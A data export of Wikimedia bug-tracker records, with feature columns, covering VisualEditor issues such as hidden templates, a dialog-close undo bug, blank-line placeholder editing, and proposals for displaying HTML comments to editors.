*** This bug has been marked as a duplicate of bug 49806 ***",,,1374086311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uoptaiss5vhdq32dkswe,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.7567567567567566,0.7567567567567568,"(In reply to comment #2)
QUOTE
QUOTE

It is indeed; merged.

*** This bug has been marked as a duplicate of bug 49806 ***"
240986,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),Is this the same as bug 49806? (I know that's newer but it has a lot more discussion),,,1374084075,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uoptaiss5vhdq32dkswe,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,3.090909090909091,1.0,Is this the same as bug 49806? (I know that's newer but it has a lot more discussion)
240981,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),"I don't see how this is an enhancement request. It's trivial to accidentally remove a template that has no output, resulting in damage to the page (irreversible damage in the context of using only VisualEditor).",,,1371441632,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uoptaiss5vhdq32dkswe,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,2.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,10.0,2.0,7.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.214285714285714,0.8809523809523809,"I don't see how this is an enhancement request. It's trivial to accidentally remove a template that has no output, resulting in damage to the page (irreversible damage in the context of using only VisualEditor)."
51630,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,"https://en.wikipedia.org/wiki/Digital_Forensics_XML?veaction=edit

I went there, I changed a header from h3 to h2 by selecting the header and using the drop-down menu. When I click ""Page settings"" and then close the dialog box without making any changes, my change to the header is inexplicably lost.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371355920,1371584527.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zuh52jc2toouqelcucf4,task_description,resolved,True,c1,2,False,False,True,-3,,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,11.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,8.0,3.0,0.0,3.0,0.0,6.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,3.7746478873239435,0.6901408450704225,"URL

I went there, I changed a header from h3 to h2 by selecting the header and using the drop-down menu. When I click ""Page settings"" and then close the dialog box without making any changes, my change to the header is inexplicably lost.

--------------------------
**Version**: unspecified
**Severity**: normal"
240790,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,Merged and will go out with wmf8.,,,1371584527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf8.
240785,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,Related URL: https://gerrit.wikimedia.org/r/69316 (Gerrit Change Ieb2e9e361afe057af93c4d374acc85df58bfb4c3),,,1371571111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ieb2e9e361afe057af93c4d374acc85df58bfb4c3)
240780,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,"Not quite, it's just doing it without checking if a new breakpoint was actually added.",,,1371571069,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,4.0,0.9444444444444444,"Not quite, it's just doing it without checking if a new breakpoint was actually added."
240774,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,"This looks like the code to ""undo changes made in the dialog when they don't apply them"" is doing that once too often.",,,1371431146,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,4.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,3.5555555555555554,0.9259259259259259,"This looks like the code to ""undo changes made in the dialog when they don't apply them"" is doing that once too often."
51623,VisualEditor: mw:Placeholder issue,"If there are 2 blank lines (line breaks) then the paragraph immediately after is uneditable (green striped overlay).

Confirm here: http://en.wikipedia.org/w/index.php?title=User:Quiddity/sandbox&oldid=560048320

and see thread here: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Paragraph_editing_disabled.3F.3F.3F

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371319260,1371516882.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-oe6mridn2bnwc6ynf3en,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.943396226415094,0.6792452830188679,"If there are 2 blank lines (line breaks) then the paragraph immediately after is uneditable (green striped overlay).

Confirm here: URL

and see thread here: URL

--------------------------
**Version**: unspecified
**Severity**: major"
240415,VisualEditor: mw:Placeholder issue,This now works; you won't get blank lines causing the next line to be unable to be edited. Thanks for the bug report!,,,1371516882,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oe6mridn2bnwc6ynf3en,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5185185185185186,0.8888888888888888,This now works; you won't get blank lines causing the next line to be unable to be edited. Thanks for the bug report!
240408,VisualEditor: mw:Placeholder issue,This (and similar issues if you have an HTML comment on a paragraph double-line  before some content) is caused by bug 47403; I won't mark this as a duplicate of that one because we're still trying to get a comment as to what will break in VE if Parsoid reverts the hack that causes this.,,,1371425386,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oe6mridn2bnwc6ynf3en,task_subcomment,,True,c1,2,True,,,-3,,2.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,8.0,5.0,2.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,19.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,6.0,0.0,2.0,0.0,0.0,0.0,3.65625,0.875,This (and similar issues if you have an HTML comment on a paragraph double-line  before some content) is caused by bug 47403; I won't mark this as a duplicate of that one because we're still trying to get a comment as to what will break in VE if Parsoid reverts the hack that causes this.
51603,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"VisualEditor should display HTML comments, which are often used as notes or warnings to other editors.  It would be nice if they were editable too.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49608
https://bugzilla.wikimedia.org/show_bug.cgi?id=46440
https://bugzilla.wikimedia.org/show_bug.cgi?id=49806
https://bugzilla.wikimedia.org/show_bug.cgi?id=53659",High,80.0,1371261360,1406161251.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-nvkr7m44ao53f5uftwjr,task_description,resolved,True,c1,2,True,False,False,-3,,0.0,0.0,0.0,2.0,0.0,6.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,6.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.634920634920635,0.6349206349206349,"VisualEditor should display HTML comments, which are often used as notes or warnings to other editors.  It would be nice if they were editable too.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL
URL"
239369,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Change 140773 merged by jenkins-bot:
[BREAKING CHANGE] Show comments inline to the user

https://gerrit.wikimedia.org/r/140773",,,1406160260,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,4.190476190476191,1.0,"Change 140773 merged by jenkins-bot:
[BREAKING CHANGE] Show comments inline to the user

GERRIT_URL"
239364,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Change 140773 had a related patch set uploaded by Jforrester:
[WIP] Show comments inline to the user

https://gerrit.wikimedia.org/r/140773",,,1403205835,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.217391304347826,1.0,"Change 140773 had a related patch set uploaded by Jforrester:
[WIP] Show comments inline to the user

GERRIT_URL"
239358,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),*** Bug 52036 has been marked as a duplicate of this bug. ***,,,1393271493,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52036 has been marked as a duplicate of this bug. ***
239353,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),*** Bug 51732 has been marked as a duplicate of this bug. ***,,,1390416862,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51732 has been marked as a duplicate of this bug. ***
239345,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(And of course, this means comments can not be easily deleted right now, in case they display obsolete information, for example.)",,,1379933298,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.037037037037037,0.9259259259259259,"(And of course, this means comments can not be easily deleted right now, in case they display obsolete information, for example.)"
239338,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"It should go without saying, but another consequence of this, beyond the comment being ignored, is that it can easily be misplaced, ending up in places where it does not belong and it does not make much sense, as user:Fram points out at en.wp today.",,,1379932587,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,12,,2.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,2.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,6.0,4.0,4.0,4.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,17.0,4.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8679245283018866,0.8490566037735849,"It should go without saying, but another consequence of this, beyond the comment being ignored, is that it can easily be misplaced, ending up in places where it does not belong and it does not make much sense, as user:Fram points out at en.wp today."
239332,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I've just discovered that, at present at least, <!-- blah --> does not get nowikied so html comments are creatable in VE but not visible once saved so this functionality really very useful yet.
Other HTML tags do get nowikied so this behaviour may subsequently change - see [[Wikipedia:VisualEditor/Feedback#HTML comments not nowikied - should they be?]]",,,1378460438,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,1.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,1.0,3.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,3.0,7.0,8.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,4.109589041095891,0.7945205479452054,"I've just discovered that, at present at least, <!-- blah --> does not get nowikied so html comments are creatable in VE but not visible once saved so this functionality really very useful yet.
Other HTML tags do get nowikied so this behaviour may subsequently change - see [[Wikipedia:VisualEditor/Feedback#HTML comments not nowikied - should they be?]]"
239328,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Like Pam I think it is best that these notices are visible and in-your-face so there is no doubt that you have seen them. Hover also causes issues on touch screen devices I think.

One thing that would be possible would be for there to be an icon associated with the comment that collapsed it to get a more WYSIWYG view (and then expanded it again on a subsequent click). The default display would be shown. I guess that custom css/js to have them hidden by default would be possible if people wanted, but I don't suggest the devs do anything other than make it possible for users to write this. I don't know how difficult any of this would be to program though.

On the issue of rendering, I know that some comments contain links, for example from [[Patrick Stewart]]: <!--Do not change this to KBE, see [[Knight Bachelor]]-->
Obviously this is shown like any other link in the source editor, but it makes it clear that it is a link to an article and people with navpopups can select it and get a preview of the link. If VE could parse links (and I guess external links) then that would be a nice to have.",,,1377774240,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1.0,0.3333333333333333,0.0,0.6666666666666666,1.0,4.666666666666667,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,4.0,11.666666666666666,0.3333333333333333,2.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.0,6.0,4.333333333333333,3.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,12.333333333333334,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,4.666666666666667,4.333333333333333,8.0,2.6666666666666665,2.6666666666666665,8.333333333333334,0.0,0.0,0.3333333333333333,0.0,7.666666666666667,0.0,0.3333333333333333,0.0,6.666666666666667,11.666666666666666,3.3333333333333335,0.0,0.0,0.0,6.666666666666667,0.0,1.0,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,3.684532771253638,0.742898725283549,"Like Pam I think it is best that these notices are visible and in-your-face so there is no doubt that you have seen them. Hover also causes issues on touch screen devices I think.

One thing that would be possible would be for there to be an icon associated with the comment that collapsed it to get a more WYSIWYG view (and then expanded it again on a subsequent click). The default display would be shown. I guess that custom css/js to have them hidden by default would be possible if people wanted, but I don't suggest the devs do anything other than make it possible for users to write this. I don't know how difficult any of this would be to program though.

On the issue of rendering, I know that some comments contain links, for example from [[Patrick Stewart]]: <!--Do not change this to KBE, see [[Knight Bachelor]]-->
Obviously this is shown like any other link in the source editor, but it makes it clear that it is a link to an article and people with navpopups can select it and get a preview of the link. If VE could parse links (and I guess external links) then that would be a nice to have."
239322,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #18)
> I agree with James Forrester that this should be done in stages, and that the
> first stage would be to ""show comments and let them be deleted.
> 
> In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty
> much the same as for templates, except easier: look for <!-- as the left
> boundary, then look for --> as the right boundary. Treat the result as a
> block
> that can be deleted or moved.
> 
> Looking at https://en.wikipedia.org/wiki/Help:Hidden_text , it's not clear
> that
> text within an invisible comment is essentially nowikied, but that is in fact
> the case, because - by definition - the text can't be seen in either read or
> preview mode. From a programming viewpoint, this means that even if, for
> example, there is an http link within the comment, or a reference - both
> quite
> possible - no rendering is needed: all text should be treated as text, NOT
> interpreted.
> 
Of the two options I would be much happier with (1): in many circumstances these comments need to be obvious to the naive editor, who will not necessarily have the savvy or curiosity to hover over an icon. Please display these comments clearly on screen for all editors, at the point in the article where they have been inserted: different font on coloured background sounds good.

> What the person doing the edit sees is really the critical question. It seems
> to me that there are two options:
> 
> (1) Display as a text, mixed in with regular text, but in a different color
> font and background color. This is what is done with templates. Regarding the
> color: Hidden comments are typically warnings/notices to editors, so perhaps
> yellow? The font/coloring will, ideally, make it clear that the text is not
> part of the article. 
> 
> (2) Treat like a comment in Excel - put a character (I suggested a warning
> icon
> - see http://findicons.com/search/warning; in yellow) into the visible text
> that, when a person hovers on the icon, displays the hidden/invisible text.
> While this is less visible to editors, in some sense - they have to hover to
> read - it's more visible in the sense that hidden comments, in wikitext
> editing
> mode, are in the same font as everything else, and thus less likely to be
> noticed than a bright yellow warning icon.
> 
> Option (2) lends itself nicely to the second phase mentioned by James: Here
> there would be an icon on the toolbar, for adding a new comment. In addition,
> if a person hovers over an existing comment, then an editing icon appears
> nearby, which allows the person to edit the comment or to delete it [via
